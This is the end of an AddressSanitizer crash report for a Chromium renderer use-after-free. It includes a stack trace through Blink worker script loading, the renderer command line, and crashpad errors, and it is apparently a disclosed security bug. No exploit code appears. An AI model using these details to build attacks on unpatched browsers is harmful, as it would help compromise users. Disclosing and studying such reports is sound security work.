0x7a035180aa80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3548937==ADDITIONAL INFO
==3548937==Note: Please include this section with the ASan report.
Task trace:
#0 0x55fb6c95cc17 in mojo::SimpleWatcher::ArmOrNotify() ./../../mojo/public/cpp/system/simple_watcher.cc:245:28
#1 0x55fb6c95cc17 in mojo::SimpleWatcher::ArmOrNotify() ./../../mojo/public/cpp/system/simple_watcher.cc:245:28
#2 0x55fb7d06b2b1 in blink::WorkerThread::FetchAndRunClassicScript(blink::KURL const&, std::__Cr::unique_ptr<blink::WorkerMainScriptLoadParameters, std::__Cr::default_delete<blink::WorkerMainScriptLoadParameters>>, std::__Cr::unique_ptr<blink::WebPolicyContainer, std::__Cr::default_delete<blink::WebPolicyContainer>>, std::__Cr::unique_ptr<blink::CrossThreadFetchClientSettingsObjectData, std::__Cr::default_delete<blink::CrossThreadFetchClientSettingsObjectData>>, blink::WorkerResourceTimingNotifier*, v8_inspector::V8StackTraceId const&) ./../../third_party/blink/renderer/core/workers/worker_thread.cc:211:51
#3 0x55fb6c95e8b3 in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) ./../../mojo/public/cpp/system/simple_watcher.cc:103:13
Command line: `/proc/self/exe --type=renderer --gpu-client-id=6 --crashpad-handler-pid=3548827 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/usr/local/google/home/hanzheng/.config/chromium-headless/scoped_dirzDSloh --change-stack-guard-on-fork=enable --no-sandbox --file-url-path-alias=/gen=/usr/local/google/home/hanzheng/workspace/validate-chromium/asan-build/153.0.7979.3/gen --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=TrustedTypesCreateParserOptions,SanitizerAPI,SetHTMLCanRunScripts --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --gpu-channel-request-start-time-ticks=286086881720 --launch-time-ticks=286086888138 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,13735597087815982681,4873176100079443246,262144 --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,13741081411173894907,3279876164266996879,4 --trace-process-track-uuid=3190708991934122588`
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==3548937==END OF ADDITIONAL INFO
==3548937==ABORTING
[0802/184920.511932:ERROR:third_party/crashpad/crashpad/util/process/process_memory.cc:92] unterminated string
[0802/184920.512056:ERROR:third_party/crashpad/crashpad/util/process/process_memory.cc:41] short read
[0802/184920.512374:ERROR:third_party/crashpad/crashpad/util/linux/ptracer.cc:454] ptrace: No such process (3)
[0802/184920.512403:ERROR:third_party/crashpad/crashpad/util/linux/ptracer.cc:480] Unexpected registers size 0 != 216
[0802/184920.512428:WARNING:third_party/crashpad/crashpad/snapshot/linux/process_reader_linux.cc:400] Couldn't initialize main thread.
[0802/184920.557885:ERROR:third_party/crashpad/crashpad/util/linux/scoped_ptrace_attach.cc:37] process not stopped
[0802/184920.557951:ERROR:third_party/crashpad/crashpad/util/process/process_memory.cc:41] short read
[0802/184920.557971:ERROR:third_party/crashpad/crashpad/snapshot/linux/process_snapshot_linux.cc:78] Couldn't read exception info
[0802/184920.558190:ERROR:third_party/crashpad/crashpad/util/linux/scoped_ptrace_attach.cc:45] ptrace: No such process (3)
CREDIT INFORMATION
Reporter credit: Google BigSleep@Grape
References
On This Page